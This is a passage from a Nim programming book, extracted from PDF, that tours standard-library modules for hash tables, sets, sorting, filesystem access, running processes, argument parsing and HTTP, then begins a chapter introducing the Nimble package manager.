animalAges hash table The type keyword begins a section of code where types can be defined. Defines a new Dog object with a name field of type string The initTable procedure can be used to initialize a new empty hash table. Creates a new instance of the Dog object and uses that as the key. Sets the value of that key in the dogOwners hash table to "John". This refers to dogOwners [Dog(name: "Charlie")] = "John", where you’re trying to use the Dog as the key. These errors are inside the standard library because that’s where the call to hash(key) is made. Licensed to <null> 114 CHAPTER 4 A tour through the standard library but expected one of: hashes.hash(x: T) hashes.hash(x: pointer) hashes.hash(x: T) hashes.hash(x: float) hashes.hash(x: set[A]) hashes.hash(x: T) hashes.hash(x: string) hashes.hash(x: int) hashes.hash(aBuf: openarray[A], sPos: int, ePos: int) hashes.hash(x: int64) hashes.hash(x: char) hashes.hash(sBuf: string, sPos: int, ePos: int) hashes.hash(x: openarray[A]) The compiler rejects the code with the excuse that it can’t find the definition of a hash procedure for the Dog type. Thankfully, it’s easy to define a hash procedure for custom types. import tables, hashes type Dog = object name: string proc hash(x: Dog): Hash = result = x.name.hash result = !$result var dogOwners = initTable[Dog, string]() dogOwners[Dog(name: "Charlie")] = "John" The code in listing 4.14 shows in bold the additions that make the example compile. The hashes module is necessary to aid in computing a hash in the hash procedure. It defines the Hash type, the hash procedure for many common types including string, and the !$ operator. The !$ operator finalizes the computed hash, which is necessary when writing a custom hash procedure. The use of the !$ operator ensures that the computed hash is unique. 4.4.2 The sets module Now let’s have a quick look at another data structure: the set. The basic set type, introduced in chapter 2, is defined in the system module. This set type has a limita- tion—its base type is limited to an ordinal type of a certain size, specifically one of the following:  int8, int16  uint8/byte, uint16  char  enum Listing 4.14 Defining a hash procedure for custom types Lists all the available definitions of the hash procedure. As you can see, there’s no definition for the Dog type present in that list. Imports the hashes module, which defines procedures for computing hashes Defines a hash procedure for the Dog type Uses the Dog’s name field to compute a hash Uses the !$ operator to finalize the computed hash Licensed to <null> 115 Data structures and algorithms Attempting to define a set with any other base type, such as set[int64], will result in an error. The sets module defines a HashSet[A] type that doesn’t have this limitation. Just like the Table[A,B] type, the HashSet[A] type requires a hash procedure for the type A to be defined. The following listing creates a new HashSet[string] variable. import sets var accessSet = toSet(["Jack", "Hurley", "Desmond"]) if "John" notin accessSet: echo("Access Denied") else: echo("Access Granted") Determining whether an element is within a set is much more efficient than checking whether it’s within a sequence or array, because each element of a set doesn’t need to be checked. This makes a very big difference when the list of elements grows, because the time complexity is O(1) for sets and O(n) for sequences.2 In addition to the HashSet[A] type, the sets module also defines an Ordered- Set[A] type that remembers the insertion order. 4.4.3 The algorithms Nim’s standard library also includes an algorithm module defining a selection of algorithms that work on some of the data structures mentioned so far, particularly sequences and arrays. Among the most useful algorithms in the algorithm module is a sorting algorithm defined in the sort procedure. The procedure takes either an array or a sequence of values and sorts them according to a specified compare procedure. Let’s jump straight to an example that sorts a list of names, allowing you to display it to the user in alphabetical order, thereby making the process of searching the list much easier. import algorithm var numbers = @[3, 8, 67, 23, 1, 2] numbers.sort(system.cmp[int]) doAssert(numbers == @[1, 2, 3, 8, 23, 67]) Listing 4.15 Modeling an access list using a HashSet 2 For more info on time complexity, see the Wikipedia article: https://en.wikipedia.org/wiki/Time_complexity. Listing 4.16 Sorting using the algorithm module Imports the sets module where the toSet procedure is defined Defines a new HashSet[string] with a list of names Checks if John is in the access set, and if he’s not, displays the “Access Denied” message If John is in the access set, displays the “Access Granted” message Imports the algorithm module, which defines the sort and sorted procedures Defines a numbers variable of type seq[int] with some values Sorts the numbers sequence in place. This uses a standard cmp procedure for integers defined in system when sorting. The numbers sequence is now sorted in ascending order. Licensed to <null> 116 CHAPTER 4 A tour through the standard library var names = ["Dexter", "Anghel", "Rita", "Debra"] let sorted = names.sorted(system.cmp[string]) doAssert(sorted == @["Anghel", "Debra", "Dexter", "Rita"]) doAssert(names == ["Dexter", "Anghel", "Rita", "Debra"]) The code in listing 4.16 shows two different ways that both sequences and arrays can be sorted: using the sort procedure, which sorts the list in place, and using the sorted procedure, which returns a copy of the original list with the elements sorted. The former is more efficient because no copy of the original list needs to be made. Note that the sorted procedure returns a seq[T] type, no matter what the input type is. This is why the sorted comparison must be done against a sequence literal. Consider the system.cmp[int] procedure used in the sort call. Notice the lack of parentheses, (). Without them the procedure isn’t called but is instead passed as a value to the sort procedure. The definition of the system.cmp procedure is actually pretty simple. proc cmp*[T](x, y: T): int = if x == y: return 0 if x < y: return -1 else: return 1 doAssert(cmp(6, 5) == 1) doAssert(cmp(5, 5) == 0) doAssert(cmp(5, 6) == -1) The cmp procedure is generic. It takes two parameters, x and y, both of type T. In list- ing 4.16, when the cmp procedure is passed to the sort procedure the first time, the T is bound to int because int is specified in the square brackets. In listing 4.17, the compiler can infer the T type for you, so there’s no need to specify the types explicitly. You’ll learn more about generics in chapter 8. The cmp procedure will work for any type T as long as both the == and < operators are defined for it. The predefined cmp should be enough for most of your use cases, but you can also write your own cmp procedures and pass them to sort. The algorithm module includes many other definitions that work on both arrays and sequences. For example, there’s a reverse procedure that reverses the order of the elements of a sequence or array and a fill procedure that fills every position in an array with the specified value. For a full list of procedures, take a look at the algorithm module documentation: http://nim-lang.org/docs/algorithm.html. Listing 4.17 The definition of the generic cmp procedure Returns a copy of the names array as a sequence with the elements sorted. This uses the standard cmp procedure for strings defined in system when sorting. Defines a new names variable of type array[4, string] with some values The names array has not been modified. The sorted sequence contains the elements in ascending alphabetical order. Defines a new generic cmp procedure taking two parameters and returning an integer The sort procedure expects the specified cmp procedure to return a value that’s larger than 0 when x > y. Whereas when x == y, sort expects cmp to return exactly 0. When x < y, sort expects cmp to return a value less than 0. Licensed to <null> 117 Interfacing with the operating system 4.4.4 Other modules There are many other modules that implement data structures in Nim’s standard library. Before you decide to implement a data structure yourself, take a look at the list of modules in Nim’s standard library (http://nim-lang.org/docs/lib.html). It includes linked lists, queues, ropes, and much more. There are also many more modules dedicated to manipulating data structures, such as the sequtils module, which includes many useful procedures for manipulat- ing sequences and other lists. These procedures should be familiar to you if you have any previous experience with functional programming. For example, apply allows you to apply a procedure to each element of a sequence, filter returns a new list with ele- ments that have fulfilled a specified predicate, and so on. To learn more about the sequtils module, take a look at its documentation: http://nim-lang.org/docs/ sequtils.html. This section provided some examples of the most useful data structures and algo- rithms in Nim’s standard library. Let’s now look at modules that allow us to make use of the services an OS provides. 4.5 Interfacing with the operating system The programs that you create will usually require an OS to function. The OS manages your computer’s hardware and software and provides common services for computer programs. These services are available through a number of OS APIs, and many of the mod- ules in Nim’s standard library abstract these APIs to provide a single cross-platform Nim API that’s easy to use in Nim code. Almost all of the modules that do so are listed under the “Generic Operating System Services” category in the standard library mod- ule list (https://nim-lang.org/docs/lib.html). These modules implement a range of OS services, including the following:  Accessing the filesystem  Manipulating file and folder paths  Retrieving environment variables  Reading command-line arguments  Executing external processes  Accessing the current system time and date  Manipulating the time and date Many of these services are essential to successfully implementing some applications. In the previous chapter, I showed you how to read command-line arguments and com- municate with applications over a network. Both of these are services provided by the OS, but communicating with applications over a network isn’t in the preceding list because it has its own category in the standard library. I’ll talk about modules that deal with networks and internet protocols in section 4.7. Licensed to <null> 118 CHAPTER 4 A tour through the standard library 4.5.1 Working with the filesystem A typical filesystem consists primarily of files and folders. This is something that the three major OSs thankfully agree on, but you don’t need to look far to start seeing dif- ferences. Even something as simple as a file path isn’t consistent. Take a look at table 4.2, which shows the file path to a file.txt file in the user’s home directory. Note both the different directory separators and the different locations of what’s known as the home directory. This inconsistency proves problematic when you want to write software that works on all three of these OSs. The os module defines constants and procedures that allow you to write cross- platform code. The following example shows how to create and write to a new file at each of the file paths defined in table 4.2, without having to write different code for each of the OSs. import os let path = getHomeDir() / "file.txt" writeFile(path, "Some Data") To give you a better idea of how a path is computed, take a look at table 4.3. Table 4.2 File paths on different operating systems Operating system Path to file in home directory Windows C:\Users\user\file.txt Mac OS /Users/user/file.txt Linux /home/user/file.txt Listing 4.18 Write "Some Data" to file.txt in the home directory Table 4.3 The results of path-manipulation procedures Expression Operating system Result getHomeDir() Windows Mac OS Linux C:\Users\username\ /Users/username/ /home/username/ getHomeDir() / "file.txt" Windows Mac OS Linux C:\Users\username\file.txt /Users/username/file.txt /home/username/file.txt The os module defines the getHomeDir procedure as well as the / operator used on the second line. The getHomeDir proc returns the appropriate path to the home directory, depending on the current OS. The / operator is like the & concatenation operator, but it adds a path separator between the home directory and file.txt. The writeFile procedure is defined in the system module. It simply writes the specified data to the file at the path specified. Licensed to <null> 119 Interfacing with the operating system THE JOINPATH PROCEDURE You can use the equivalent joinPath instead of the / operator if you prefer; for example, joinPath(getHomeDir(), "file.txt"). The os module includes other procedures for working with file paths including splitPath, parentDir, tailDir, isRootDir, splitFile, and others. The code in list- ing 4.19 shows how some of them can be used. In each doAssert line, the right side of the == shows the expected result. import os doAssert(splitPath("usr/local/bin") == ("usr/local", "bin")) doAssert(parentDir("/Users/user") == "/Users") doAssert(tailDir("usr/local/bin") == "local/bin") doAssert(isRootDir("/")) doAssert(splitFile("/home/user/file.txt") == ("/home/user", "file", ".txt")) The os module also defines the existsDir and existsFile procedures for determin- ing whether a specified directory or file exists. There are also a number of iterators that allow you to iterate over the files and directories in a specified directory path. import os for kind, path in walkDir(getHomeDir()): case kind of pcFile: echo("Found file: ", path) of pcDir: echo("Found directory: ", path) of pcLinkToFile, pcLinkToDir: echo("Found link: ", path) Listing 4.19 Path-manipulation procedures Listing 4.20 Displaying the contents of the home directory Imports the os module to access the procedures used next. Splits the path into a tuple containing a head and a tail Removes the first directory specified in the path and returns the rest Returns the path to the parent directory of the path specified Splits the specified file path into a tuple containing the directory, filename, and file extension Returns true if the specified directory is a root directory Imports the os module to access the walkDir iterator and the getHomeDir procedure Uses the walkDir iterator to go through each of the files in your home directory. The iterator will yield a value whenever a new file, directory, or link is found. When the path references a file, displays the message "Found file: " together with the file path Checks what the path variable references: a file, a directory, or a link When the path references either a link to a file or a link to a directory, displays the message "Found link: " together with the link path When the path references a directory, displays the message "Found directory: " together with the directory path Licensed to <null> 120 CHAPTER 4 A tour through the standard library The os module also implements many more procedures, iterators, and types for deal- ing with the filesystem. The Nim developers have ensured that the implementation is flexible and that it works on all OSs and platforms. The amount of functionality implemented in this module is too large to fully explore in this chapter, so I strongly recommend that you look at the os module’s documentation yourself (http://nim- lang.org/docs/os.html). The documentation includes a list of all the procedures defined in the module, together with examples and explanations of how those proce- dures can be used effectively. 4.5.2 Executing an external process You may occasionally want your application to start up another program. For example, you may wish to open your website in the user’s default browser. One important thing to keep in mind when doing this is that the execution of your application will be blocked until the execution of the external program finishes. Executing processes is currently completely synchronous, just like reading standard input, as discussed in the previous chapter. The osproc module defines multiple procedures for executing a process, and some of them are simpler than others. The simpler procedures are very convenient, but they don’t always allow much customization regarding how the external process should be executed, whereas the more complex procedures do provide this. The simplest way to execute an external process is using the execCmd procedure. It takes a command as a parameter and executes it. After the command completes exe- cuting, execCmd returns the exit code of that command. The standard output, stan- dard error, and standard input are all inherited from your application’s process, so you have no way of capturing the output from the process. The execCmdEx procedure is almost identical to the execCmd procedure, but it returns both the exit code of the process and the output. The following listing shows how it can be used. import osproc when defined(windows): let (ver, _) = execCmdEx("cmd /C ver") else: let (ver, _) = execCmdEx("uname -sr") echo("My operating system is: ", ver) Listing 4.21 Using execCmdEx to determine some information about the OS Imports the osproc module where the execCmdEx proc is defined Checks whether this Nim code is being compiled on Windows If this Nim code is being compiled on Windows, executes cmd /C ver using execCmdEx and unpacks the tuple it returns into two variables If this Nim code is not being compiled on Windows, executes uname -sr using execCmdEx and unpacks the tuple it returns into two variables Displays the output from the executed command Licensed to <null> 121 Interfacing with the operating system You can compile and run this application and see what’s displayed. Figure 4.7 shows the output of listing 4.21 on my MacBook. Keep in mind that this probably isn’t the best way to determine the current OS version. GETTING THE CURRENT OS There’s an osinfo package available online that uses the OS API directly to get OS information (https://github.com/nim- lang/osinfo). Listing 4.21 also shows the use of an underscore as one of the identifiers in the unpacked tuple; it tells the compiler that you’re not interested in a part of the tuple. This is useful because it removes warnings the compiler makes about unused variables. That’s the basics of executing processes using the osproc module, together with a bit of new Nim syntax and semantics. The osproc module contains other procedures that allow for more control of processes, including writing to the process’s standard input and running more than one process at a time. Be sure to look at the documen- tation for the osproc module to learn more. Figure 4.7 The output of listing 4.21 The compile-time if statement In Nim, the when statement (introduced in chapter 2) is similar to an if statement, with the main difference being that it’s evaluated at compile time instead of at runtime. In listing 4.21, the when statement is used to determine the OS for which the current module is being compiled. The defined procedure checks at compile time whether the specified symbol is defined. When the code is being compiled for Windows, the windows symbol is defined, so the code immediately under the when statement is compiled, whereas the code in the else branch is not. On other OSs, the code in the else branch is compiled and the preceding code is ignored. The scope rules for when are also a bit different from those for if. A when statement doesn’t create a new scope, which is why it’s possible to access the ver variable outside it. Licensed to <null> 122 CHAPTER 4 A tour through the standard library 4.5.3 Other operating system services There are many other modules that allow you to use the services provided by OSs, and they’re part of the “Generic Operating System Services” category of the standard library. Some of them will be used in later chapters; others, you can explore on your own. The documentation for these modules is a good resource for learning more: http://nim-lang.org/docs/lib.html#pure-libraries-generic-operating-system-services 4.6 Understanding and manipulating data Every program deals with data, so understanding and manipulating it is crucial. You’ve already learned some ways to represent data in Nim, both in chapter 2 and ear- lier in this chapter. The most-used type for representing data is the string type, because it can repre- sent just about any piece of data. An integer can be represented as "46", a date as "June 26th", and a list of values as "2, Bill, King, Programmer". Your programs need a way to understand and manipulate this data, and parsers can help with this. A parser will look at a value, in many cases a text value of type string, and build a data structure out of it. There is the possibility of the value being incorrect, so a parser will check for syntax errors while parsing the value. The Nim standard library is full of parsers. There are so many of them that there’s a full category named “Parsers.” The parsers available in the standard library can parse the following: command-line arguments, configuration files in the .ini format, XML, JSON, HTML, CSV, SQL, and much more. You saw how to use the JSON parser in chapter 3; in this section, I’ll show you how to use some of the other parsers. The names of many of the modules that implement parsers begin with the word parse, such as parseopt and parsexml. Some of them have modules that implement a more intuitive API on top of them, such as these XML parsers: xmldom, xmltree, xmldomparser, and xmlparser. The latter two modules create a tree-like data structure out of the parsexml module’s output. The former two modules are then used to manipulate the tree-like data structures. The xmldom module provides a web DOM–like API, whereas the xmltree module provides a more idiomatic Nim API. The json mod- ule defines both a high-level API for dealing with JSON objects and a low-level parser that parses JSON and emits objects that represent the current data being parsed. 4.6.1 Parsing command-line arguments Describing how each of these modules can be used for parsing would require its own chapter. Instead, I’ll present a specific data-parsing problem and show you some ways that this problem can be solved using the modules available in Nim’s standard library. The problem we’ll look at is the parsing of command-line arguments. In chapter 3, you retrieved command-line arguments using the paramStr() procedure, and you used the returned string value directly. This worked well because the application didn’t support any options or flags. Licensed to <null> 123 Understanding and manipulating data Let’s say you want the application to support an optional port flag on the com- mand line—one that expects a port number to follow. You may, for example, be writ- ing a server application and want to give the user the option to select the port on which the server will run. Executing an application called parsingex with such an argument would look like this: ./parsingex --port=1234. The --port=1234 part can be accessed with a paramStr() procedure call, as follows. import os let param1 = paramStr(1) Now you’ve got a string value in the param1 variable that contains both the flag name and the value associated with it. How do you extract those and separate them? There are many ways, some less valid than others. I’ll show you a couple of ways, and in doing so I’ll show you many different ways that the string type can be manipu- lated and understood by your program. Let’s start by taking a substring of the original string value with the substr proce- dure defined in the system module. It takes a string value, a start index, and an end index, with both indexes represented as integers. It then returns a new copy of the string, starting at the first index specified and ending at the end index. MORE WAYS TO MANIPULATE STRINGS Nim strings can be modified at runtime because they’re mutable, which means they can be modified in place, without the need to allocate a new copy of the string. You can use the add procedure to append characters and other strings to them, and delete (defined in the strutils module) to delete characters from them. import os let param1 = paramStr(1) let flagName = param1.substr(2, 5) let flagValue = param1.substr(7) Figure 4.8 shows how the indexes passed to substr determine which substrings are returned. Listing 4.22 Retrieving command-line arguments using paramStr Listing 4.23 Parsing the flag using substr The command-line argument at index 1 will be equal to "--port=1234", assuming the application is executed as in the preceding discussion. Imports the os module, which defines the paramStr procedure Gets the substring of param1 from index 2 to index 5. This will result in "port". Gets the substring of param1 from index 7 to the end of the string. This will result in "1234". param1.substr(2, 5) - - p o r t = 1 2 3 4 0 1 2 3 4 5 6 7 8 9 10 11 param1.substr(7) 0 1 2 3 4 5 6 7 8 9 10 11 param1 = "port" "1234" Figure 4.8 The substr procedure Licensed to <null> 124 CHAPTER 4 A tour through the standard library The code in listing 4.23 will work, but it is not very flexible. You might wish to support other flags, and to do that you will need to duplicate the code and change the indices. In order to improve this, you can use the strutils module, which contains many definitions for working with strings. For example, toUpperAscii and toLowerAscii convert each character in a string to upper- or lowercase, respectively.3 parseInt con- verts a string into an integer, startsWith determines whether a string starts with another string, and there are many others. There’s a specific procedure that can help you split up the flag string properly, and it’s called split. import os, strutils let param1 = paramStr(1) let flagSplit = param1.split('=') let flagName = flagSplit[0].substr(2) let flagValue = flagSplit[1] This is still poor-man’s parsing, but it does work. There’s no error handling, but the code should work for many different flags. But what happens when requirements change? Say, for example, one of your users prefers to separate the flag name from the value using the : symbol. This change is easy to implement because the split 3 The procedures are named this way because they don’t support unicode characters. To get unicode support, you should use the toUpper and toLower procedures defined in the unicode module. Listing 4.24 Parsing the flag using split The slice operator A series of two dots, otherwise known as the .. operator, can be used to create a Slice object. A Slice can then be fed into the [] operator, which will return a sub- string. This is similar to the substr procedure, but it supports reverse indexes using the ^ operator. doAssert("--port=1234"[2 .. 5] == "port") doAssert("--port=1234"[7 .. ^1] == "1234") doAssert("--port=1234"[7 .. ^3] == "12") Same as using substr(2, 5); returns a substring from index 2 to index 5 Returns a substring from index 7 to the end of the string. The ^ operator counts back from the end of the string. Returns a substring from index 7 to the end of the string minus 2 characters Imports the strutils module, where the split procedure is defined Separates the param1 string value into multiple different strings at the location where an “=” character occurs. The split procedure returns a sequence of strings, in this case @["--port", "1234"]. Grabs the first string in the sequence returned by split and removes the first two characters Grabs the second string in the sequence returned by split Licensed to <null> 125 Understanding and manipulating data procedure accepts a set[char], so you can specify {'=', ':'} and the string will be split on both = and :. The split procedure works very well for parsing something as simple as this exam- ple, but I’m sure you can imagine cases where it wouldn’t be a good choice. For exam- ple, if your requirements change so that the flag name can now contain the = character, you’ll run into trouble. We’ll stop here for now. You’ll learn more about parsing in chapter 6, where you’ll see how to use the parseutils module to perform more-advanced parsing. Thankfully, you don’t need to parse command-line arguments like this yourself. As I mentioned previously, the Nim standard library contains a parseopt module that does this for you. The following listing shows how it can be used to parse command- line arguments. import parseopt for kind, key, val in getOpt(): case kind of cmdArgument: echo("Got a command argument: ", key) of cmdLongOption, cmdShortOption: case key of "port": echo("Got port: ", val) else: echo("Got another flag --", key, " with value: ", val) of cmdEnd: discard This code is a bit more verbose, but it handles errors, supports other types of flags, and goes through each command-line argument. This parser is quite tedious, and, unfortunately, the standard library doesn’t contain any modules that build on top of it. There are many third-party modules that make the job of parsing and retrieving command-line arguments much easier, and these are available through the Nimble package manager, which I’ll introduce in the next chapter. Compile and run the code in listing 4.25. Try to pass different command-line argu- ments to the program and see what it outputs. This section should have given you some idea of how you can manipulate the most common and versatile type: the string. I’ve talked about the different parsing mod- ules available in Nim’s standard library and showed you how one of them can be used to parse command-line arguments. I also introduced you to the strutils module, Listing 4.25 Parsing the flag using parseopt Imports the parseopt module, which defines the getOpt iterator Iterates over each command-line argument. The getOpt iterator yields three values: the kind of argument that was parsed, the key, and the value. Checks the kind of argument that was parsed If a simple flag with no value was parsed, displays just the flag name If a flag with a value was parsed, checks if it’s --port and displays a specific message if it is, showing the port value. Otherwise, displays a generic message showing the flag name and value. The command-argument parsing has ended, so this line does nothing. Licensed to <null> 126 CHAPTER 4 A tour through the standard library which contains many useful procedures for manipulating strings. Be sure to check out its documentation and the documentation for the other modules later. 4.7 Networking and the internet The Nim standard library offers a large selection of modules that can be used for net- working. You’ve already been introduced to the asynchronous event loop and the asynchronous sockets defined in the asyncdispatch and asyncnet modules, respec- tively. These modules provide the building blocks for many of the modules in the stan- dard library’s “Internet Protocols and Support” category. The standard library also includes the net module, which is the synchronous equivalent of the asyncnet module. It contains some procedures that can be used for both asynchronous and synchronous sockets. The more interesting modules are the ones that implement certain internet proto- cols, such as HTTP, SMTP, and FTP.4 The modules that implement these protocols are called httpclient, smtp, and asyncftpclient, respectively. There’s also an asynchttpserver module that implements a high-performance HTTP server, allowing your Nim application to serve web pages to clients such as your web browser. The main purpose of the httpclient module is to request resources from the internet. For example, the Nim website can be retrieved as follows. import asyncdispatch import httpclient let client = newAsyncHttpClient() let response = waitFor client.get("http://nim-lang.org") echo(response.version) echo(response.status) echo(waitFor response.body) 4 For details on HTTP, SMTP, and FTP, be sure to view their respective Wikipedia articles. Listing 4.26 Requesting the Nim website using the httpclient module The asyncdispatch module defines an asynchronous event loop that’s necessary to use the asynchronous HTTP client. It defines the waitFor procedure, which runs the event loop. The httpclient module defines the asynchronous HTTP client and related procedures. Creates a new instance of the AsyncHttpClient type Requests the Nim website using HTTP GET, which retrieves the website. The waitFor procedure runs the event loop until the get procedure is finished. Displays the HTTP version that the server responded with (likely, "1.1") Displays the HTTP status that the server responded with. If the request is successful, it will be "200 OK". Displays the body of the response. If the request is successful, this will be the HTML of the Nim website. Licensed to <null> 127 Summary The code in listing 4.26 will work for any resource or website. Today, the Nim website is served over SSL, you'll need to compile listing 4.26 with the -d:ssl flag in order to enable SSL support. These modules are all fairly simple to use. Be sure to check out their documenta- tion for details about the procedures they define and how those procedures can be used. There may be protocols that the standard library misses, or custom protocols that you’d like to implement yourself. A wide range of networking protocols has been implemented as libraries outside the standard library by other Nim developers. They can be found using the Nimble package manager, which you’ll learn about in the next chapter. 4.8 Summary  A library is a collection of modules; modules, in turn, implement a variety of behaviors.  Identifiers in Nim are private by default and can be exported using *.  Modules are imported into the importing module’s global namespace by default.  The from module import x syntax can be used to selectively import identifiers from a module.  The standard library is organized into pure, impure, and wrapper categories.  The system module is imported implicitly and contains many commonly used definitions.  The tables module implements a hash table that can be used to store a map- ping between keys and values.  The algorithms module defines a sort procedure that can be used for sorting arrays and sequences.  The os module contains many procedures for accessing the computer’s filesystem.  Web pages can be retrieved using the httpclient module. Licensed to <null> 128 Package management Today package managers have a central role in the development of software. This was not always the case; the Comprehensive Perl Archive Network, or CPAN, was one of the first large software repositories to have existed solely for a specific pro- gramming language. It consists of over 150,000 modules of Perl code, making it one of the biggest software module repositories from a single programming lan- guage. It’s also one of the earliest examples of such a software repository; its success has influenced many others. Today, software repositories exist for just about all pro- gramming languages. A package is an abstract term given to a collection of modules; these modules may form a library or an application. A package manager automates the process of down- loading, installing, updating, and removing packages. Libraries contain implemen- tations of different behavior, and can be invoked using a well-defined interface. These implementations are stored and exposed through one or more modules. This chapter covers  Understanding how Nimble helps you develop software  Using Nimble packages to develop software  Creating Nimble packages and publishing them Licensed to <null> 129 The Nim package manager Software repositories distribute a number of different packages, allowing those pack- ages to be freely downloaded. You could download packages manually, but doing so would be tedious. For example, a package may have dependencies: other packages that need to be installed first for the package to work correctly. Package managers ensure that dependencies are correctly installed automatically. Figure 5.1 shows how packages, libraries, applications, and software repositories relate to each other. Most programming languages have at least one package manager; some have mul- tiple. Nim’s package manager is important because it’s a tool that gives you access to the hundreds of open source packages contained in Nim’s package repository. This chapter provides an overview of Nimble, the Nim package manager, including how to install and create packages. Be sure to also take a look at the Nimble documen- tation: https://github.com/nim-lang/nimble. 5.1 The Nim package manager There are many package managers in existence today, but not all of them are designed for the same purpose. Package managers are primarily split into two catego- ries: system-level and application-level. System-level package managers are typically bundled with the OS. They allow the user to install a popular set of applications and libraries written in many different pro- gramming languages. Application-level package managers are more specific; they focus on libraries and applications written in a single programming language. Imagine you got a brand-new computer, and you’d like to watch some movies on it. One of the most widely used applications for watching video is VLC, but it doesn’t come preinstalled on computers. You can instruct a package manager to install VLC, together with any missing libraries VLC needs to function. A system-level package manager would be perfect for this. Application package vlc.cpp vlc_ui.cpp ... Library package ogg.h bitwise.c ... ogg_stream_init ogg_stream_pagein ... Software repository Firefox libogg VLC libzip Figure 5.1 Comparison between packages, libraries, applications, and software repositories Licensed to <null> 130 CHAPTER 5 Package management VLC comes with a library called libvlc; this library allows any application to play video with the same accuracy as VLC itself. If you wanted to make use of this library in your Nim application, you’d need a Nim package that implements a Nim interface to that library. Such a package would be installed via an application-level package manager. Figure 5.2 shows examples of some common system-level and application-level package managers. Package managers also differ in the way that they distribute packages. Some dis- tribute packages in the form of binaries, whereas others distribute the source code. In the latter case, the packages must then be compiled on the user’s computer using a compiler. Nim’s package manager is called Nimble. Nimble is an application-level package manager, and it distributes packages in the form of source code. This is similar to other application-level package managers such as Python’s pip and NodeJS’s npm. Nimble is already being used by many Nim programmers, even though it’s not yet sta- ble and there are still some features missing from it. This section will show you how the current version of Nimble (0.7.2 as of writing) can be used to manage Nim librar- ies and applications. Keep in mind that Nimble is evolving every day and that some of the things mentioned in this section may change in the future. 5.2 Installing Nimble The good news is that you most likely have Nimble installed already. Nim installation packages have started to include Nimble since around version 0.15.0, so if you have Nim installed, you should have Nimble installed too. You can easily check whether this is the case by running nimble -v in the terminal. If you see information about Nimble’s version, you have Nimble installed; if you see something like “command not found: nimble,” you don’t. Keep in mind that, in order to install packages, Nimble may execute an external application called Git, which you must also have installed and available in your path. For more details, look at the Nimble installation page on GitHub: https://github.com/ nim-lang/nimble#installation. System-level package managers Application-level package managers Chocolatey, Steam, Cygwin apt-get, yum, pacman Homebrew, MacPorts Npm, Bower pip, EasyInstall, PyPM Nimble Figure 5.2 System-level vs. application-level package managers Licensed to <null> 131 What is a Nimble package? 5.3 The nimble command-line tool You should now have Nimble installed on your system. Running nimble in a new ter- minal window should display a list of commands supported by Nimble. Figure 5.3 shows just a few of these. nimble will also show the order in which commands should be passed to Nimble. A sin- gle command is written after nimble, separated by a space. After that come the flags and parameters passed to that command, each separated by a space. For example, to search for any packages that relate to Linux, you can execute nimble search linux. You can also specify a --ver flag, which will show you the available versions of each package. Figure 5.4 shows the result of a search for “linux” with the --ver flag. Note the “versions:” followed by a list of two different versions in figure 5.4. Those are the versions of the daemonize package that can be installed. Nimble’s command-line interface is the primary way of installing, searching for, upgrading, and removing packages. Before I show you how to install packages, though, let’s look at what a package actually is. 5.4 What is a Nimble package? Software is almost always composed of different types of files, including source code, images, sound, and more. For example, let’s say you’re creating a video game. Video games require a plethora of resources to function, and these need to be bundled together with the game’s executable. A package offers a convenient way to bundle such files together with the software. In the simplest sense, a minimal Nimble package is a directory containing a .nimble file and one or more Nim modules. Available commands Command params Command information Nimble command syntax Figure 5.3 Some commands that Nimble supports Licensed to <null> 132 CHAPTER 5 Package management A .nimble file contains metadata about a package. It specifies a package’s name, ver- sion, author, dependencies, and more. The .nimble part is just a file extension, and the filename of every .nimble file is the same as the name of the package. The following listing shows a simple example of a .nimble file. # Package information version = "0.1.0" author = "Andreas Rumpf, Dominik Picheta" description = "Example .nimble file." license = "MIT" # Dependencies requires "nim >= 0.12.0" The .nimble files use a Nim-based format that supports a subset of Nim’s features. In addition, the format contains some shortcuts for defining information about the pack- age. You can freely define variables, procedures, and more within your .nimble files, and you can even import other modules into them. Listing 5.1 MyPkg.nimble Package metadata Versions of this package that can be installed. Only shown with --ver flag. Package name The URL and type of the repository storing this package Figure 5.4 Searching for a “linux” package with version information The name of the package is not specified here; instead, the filename of the .nimble file is used. Version strings usually consist of three digits separated by periods, and they follow the semantic versioning specification available at http://semver.org. You can specify as many digits as you want, but other characters aren’t supported. Identifies one or more authors who created this package Specifies that the package requires at least version 0.12.0 of the Nim compiler to be successfully compiled Licensed to <null> 133 What is a Nimble package? Nimble also supports the definition of tasks, as follows: task test, "Run the packages tests!": exec "nim c -r tests/mytest.nim" Placing this snippet of code at the end of your .nimble file will allow you to execute nimble test to run your package’s tests. Figure 5.5 shows what the contents of a typical standalone Nimble package look like. The data specified in this MyPkg.nimble file is mandatory, and there are many other options you can specify in a .nimble file as well. I can’t list them all here, but you’ll learn about some of them later in this chapter. For a full list, check out the Nim- ble documentation on GitHub: https://github.com/nim-lang/nimble#readme. Assuming you have a Nimble package somewhere on your local filesystem, you can easily open a terminal in the directory of that package and execute nimble install. When you do this, Nimble will attempt to install the package contained in the current directory. This is useful for local packages that you’ve created yourself. But what about packages that have been created by other developers? Do you need to download these manually? Thankfully, the answer to that question is no. As part of the install command, a URL can be specified that points to the package you want to install. Currently, this URL must point to either a Git or Mercurial repository, which brings us to the definition of an external package: one that can be accessed over the internet. An external Nimble package is either a Git or Mercurial repository containing a .nimble file and one or more Nim modules. MyPkg.nimble src/mypkg.nim ... Package name: MyPkg Version: 0.1.0 Author: Dominik Picheta Description: ... License: MIT Dependencies: Nim >= 0.12.0 Figure 5.5 A typical Nimble package What are Git and Mercurial? Git and Mercurial are examples of distributed version control systems (DVCSs). A DVCS enables a team of software developers to work together on a software project, and by keeping track of the history of each file, it helps deal with situations where two or more developers end up editing the same files. Licensed to <null> 134 CHAPTER 5 Package management Git and Mercurial repositories may contain additional information, such as tags. Repositories containing Nimble packages must contain a tag that identifies each ver- sion of that package. Figure 5.6 shows how an external Nimble package’s content can change between revisions. In the previous section, I showed you how the search command works. With the --ver flag, the search command lists the tags of each of the package repositories. Nimble interprets each tag as a version. Nimble packages are coupled to repositories because most libraries and applica- tions are already stored in repositories. Turning a repository into a Nimble package is easy—the repository just needs a .nimble file. Other package managers store their packages on a single centralized server, which has its advantages; this is something that Nimble will eventually also support. (continued) A repository is where the history of a software project is stored. These repositories can be uploaded to a remote server and then subsequently downloaded using the git or hg command-line tools, for Git and Mercurial, respectively. This allows other developers to work on the project and upload their changes, which you can then download. After a repository is downloaded, the histories of the files can be explored. You can, for example, see what the state of the repository was a week ago, or back when the repository was first created. Package name: MyPkg Version: 0.1.1 ... https://github.com/dom96/MyPkg.git HEAD v0.1.0 77fff838c ef889a10a 6c6d39d56 c6b4d0e5c 405b86068 MyPkg.nimble Package name: MyPkg Version: 